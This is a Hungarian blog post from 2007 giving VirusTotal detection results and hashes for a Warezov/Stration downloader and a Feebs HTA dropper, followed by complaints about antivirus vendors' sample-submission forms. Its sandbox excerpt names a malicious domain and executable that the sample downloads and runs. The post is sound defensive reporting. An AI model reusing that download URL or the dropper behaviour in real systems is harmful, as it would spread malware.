Eredmény: 17/32 (53.13%)

Antivírus

 Verzió
 Utolsó frissítés
 Eredmény
AhnLab-V3 2007.10.19.0 2007.10.18 –
AntiVir 7.6.0.27 2007.10.19 Worm/Warezov.SN
Authentium 4.93.8 2007.10.19 –
Avast 4.7.1051.0 2007.10.18 –
AVG 7.5.0.488 2007.10.19 Downloader.Generic6.PFM
BitDefender 7.2 2007.10.19 Generic.Malware.dld!!.4333A34A
CAT-QuickHeal 9.00 2007.10.18 –
ClamAV 0.91.2 2007.10.17 –
DrWeb 4.44.0.09170 2007.10.19 Trojan.DownLoader.35874
eSafe 7.0.15.0 2007.10.15 suspicious Trojan/Worm
eTrust-Vet 31.2.5223 2007.10.19 –
Ewido 4.0 2007.10.19 –
FileAdvisor 1 2007.10.19 –
Fortinet 3.11.0.0 2007.10.19 –
F-Prot 4.3.2.48 2007.10.19 W32/Downldr2.AICW
F-Secure 6.70.13030.0 2007.10.19 Email-Worm.Win32.Warezov.sn
Ikarus T3.1.1.12 2007.10.19 Win32.SuspectCrc
Kaspersky 7.0.0.125 2007.10.19 Email-Worm.Win32.Warezov.sn
McAfee 5144 2007.10.18 –
Microsoft 1.2908 2007.10.19 –
NOD32v2 2603 2007.10.19 Win32/Stration.AAU
Norman 5.80.02 2007.10.18 W32/Downloader
Panda 9.0.0.4 2007.10.18 Suspicious file
Prevx1 V2 2007.10.19 W32.MALWARE.GEN
Rising 19.45.42.00 2007.10.19 –
Sophos 4.22.0 2007.10.19 Troj/StraDl-E
Sunbelt 2.2.907.0 2007.10.18 –
Symantec 10 2007.10.19 W32.Stration!dldr
TheHacker 6.2.9.099 2007.10.19 –
VBA32 3.12.2.4 2007.10.19 suspected of Win32.Trojan.Downloader (http://…)
VirusBuster 4.3.26:9 2007.10.18 –
Webwasher-Gateway 6.6.1 2007.10.19 Worm.Warezov.SN

További információ
File size: 4096 bytes
MD5: d3a68da3efb69d359065ce52d0615514
SHA1: ce6e78b9fe4b150d320e0c5e789b9f94a5bf7927
packers: UPX
packers: PE_Patch.UPX, UPX
norman sandbox: [ General information ]
* **IMPORTANT: PLEASE SEND THE SCANNED FILE TO: ANALYSIS@NORMAN.NO – REMEMBER TO ENCRYPT IT (E.G. ZIP WITH PASSWORD)**.
* File length: 4096 bytes.        

[ Changes to filesystem ]
* Creates file C:\WINDOWS\SYSTEM32\mbf32.exe.

[ Network services ]
* Opens URL: http://kadesuipontunhandesun.com/mbf32.exe.
* Connects to \”kadesuipontunhandesun.com\” on port 80 (TCP).
* Opens URL: kadesuipontunhandesun.com/mbf32.exe.

[ Security issues ]
* Starting downloaded file – potential security problem.
Prevx info: http://fileinfo.prevx.com/fileinfo.asp?PX5=26F78B2F0003CD1510F000D120933B00B79BCD14


Lehet látni, hogy pl. a ClamAV és a McAfee sem ismerte fel a vírust, de itt még mindig sokkal jobb a helyzet, mint a második példán:

2) http://www.virustotal.com/hu/resultado.html?6c18eb347437168ff96c38ec1822ce66

A(z) en.hta állomány feltöltve: 2007.10.19 13:53:42 (CET)
Eredmény: 6/31 (19.36%)

Antivírus

 Verzió
 Utolsó frissítés
 Eredmény
AhnLab-V3 2007.10.19.0 2007.10.18 –
AntiVir 7.6.0.27 2007.10.19 –
Authentium 4.93.8 2007.10.19 –
Avast 4.7.1051.0 2007.10.18 JS:Feebs family
AVG 7.5.0.488 2007.10.19 Worm/Feebs
BitDefender 7.2 2007.10.19 –
CAT-QuickHeal 9.00 2007.10.18 –
ClamAV 0.91.2 2007.10.17 –
DrWeb 4.44.0.09170 2007.10.19 –
eSafe 7.0.15.0 2007.10.15 –
eTrust-Vet 31.2.5223 2007.10.19 –
Ewido 4.0 2007.10.19 –
FileAdvisor 1 2007.10.19 –
Fortinet 3.11.0.0 2007.10.19 –
F-Prot 4.3.2.48 2007.10.19 –
F-Secure 6.70.13030.0 2007.10.19 –
Ikarus T3.1.1.12 2007.10.19 –
Kaspersky 7.0.0.125 2007.10.19 –
McAfee 5144 2007.10.18 JS/Feebs.gen.aa@MM
Microsoft 1.2908 2007.10.19 –
NOD32v2 2603 2007.10.19 JS/Tivso.15.gen
Norman 5.80.02 2007.10.18 –
Panda 9.0.0.4 2007.10.18 –
Prevx1 V2 2007.10.19 –
Rising 19.45.42.00 2007.10.19 –
Sophos 4.22.0 2007.10.19 –
Sunbelt 2.2.907.0 2007.10.18 –
Symantec 10 2007.10.19 W32.Feebs@mm
TheHacker 6.2.9.099 2007.10.19 –
VBA32 3.12.2.4 2007.10.19 Trojan-Dropper.JS.Feebs
VirusBuster 4.3.26:9 2007.10.18 –

További információ
File size: 78874 bytes
MD5: 8cfacc22531b7cde7a2e5ed34d581a5b
SHA1: 0d3a72d2a60cc18b191f68bbde174eeb8f39271c

Itt a 31 víruskeresőből csak 6 gondolta, hogy ez mégiscsak valami ármány…

Természetesen ilyenkor az ember megpróbálja értesíteni a víruskeresőgyártó cégeket, de úgy tűnik, hogy ők nem kiváncsiak erre. Vagy egyáltalán nem teszik lehetővé fájl elküldését (vagy ha igen, nagyon eltitkolt helyen), vagy annyira megnehezítik a procedúrát, hogy az ember elküldi őket magában a meleg éghajlatra és nem foglalkozik vele. Pl. regisztráció szükséges – és küldjem emailben – ilyen meg olyan jelszóval, ilyen meg olyan formátumban tömörítve, mely emailt jó eséllyel megfogja valahol egy szerver – pl. a miénk, hiszen az minden futtatható (elméletben kártékony kódot tartalmazó) nem vírusként felismert fájlt is elhelyez egy kicsit pihenni, és csak késleltetve küldi tovább. Plussz értesítést küld, ha a “váróterem”-ben lévő fájlok száma csúnyán megnő.

Visszatérve a vírusirtógyártó cégekre. Az ideális hely az, ahol online, mindenféle egyéb munka nélkül (tömörítés, jelszó), kis kommenttel el lehet küldeni a mintát.

Jó példák:
ClamAV
http://clamav.sourceforge.net/cgi-bin/sendvirus.cgi
A minta küldési felületen minden megvan ami kellhet, sőt elküldéskor a saját motorjuk is ellenőrzi, hogy szerinte virus-e vagy csak nekem volt régi az adatbázisom (nálam általában az első…)

F-Prot
http://www.f-prot.com/virusinfo/submission_form.html
Point-and-click. Feltallózom a vírust, beírok valami kommentet (pl. a virustotal eredménylinkjét) és kész (Submission successful).

Virusbuster
https://support.virusbuster.hu/index.php?_m=tickets&_a=submit
Itt már üldözni kell egy kicsit a virus submit oldalt, és direkt link sincs kitéve, de még elmegy. Név/email (autofill), prioritás választása, file feltallózása, küldés, köszönjük…
(Közben tényleg jött tőlük egy “köszönjük” levél: “Köszönjük a beküldött mintát a néhány óra múlva megjelenő VirusBuster adatbázissal már Trojan.DL.Opnis.UT-nek ismerjük fel.”)

És a negatívumok:
Computer Associates E-Trust (Inoculan/InoculateIT)
http://home3.ca.com/Support/VirusSampleForm.aspx?
Felejtős. Autofill persze kitölt mindent, alul a file feltöltésnél az olvasható, hogy: “Attach the (preferably compressed and password protected) virus sample.”. Számomra ez azt jelenti, hogy “jó lenne, ha tömörítve és jelszavazva lenne” – de nem kizárólagos feltétel. Tömörítés (és jelszó) nélkül a submit után viszont a következőt kapjuk: “An error has occurred while uploading your file. Please go back and resubmit the form.
Make sure that you compress the virus sample using winzip, or pkzip, or any of a number of popular file compression utilities.”
Már évekkel ezelőtt jeleztem nekik… Nem minősítem jelzővel. Majd megkapják valahonnan.

Network Associates
https://www.webimmune.net/default.asp
Már volt róluk szó, változatos hibákkal tudják szórakoztatni az embert. Autofill nem működik és általában bejelentkezés után az jön, hogy a “Webimmune temporarily unavailable.” – küldjem email-ben… Most éppen a login sem működött, ez kaptam:
https://www.webimmune.net/validateLogin.asp
“A webhely nem tudja megjeleníteni a lapot
HTTP 500
A legvalószínűbb okok:
A webhely karbantartás alatt áll.
A webhely programozási hibát tartalmaz.”

Kaspersky:
http://www.kaspersky.com/scanforvirus
Van tallózás, küldés, szerintük: “You’re clean! Kaspersky Anti-Virus has not detected any viruses at this time in the file you submitted.” – Nincs lehetőség azt mondani, hogy “I disagree…”

Posted in Bosszantyú, Case Study, technikai infók | 3 Comments »

« Older Entries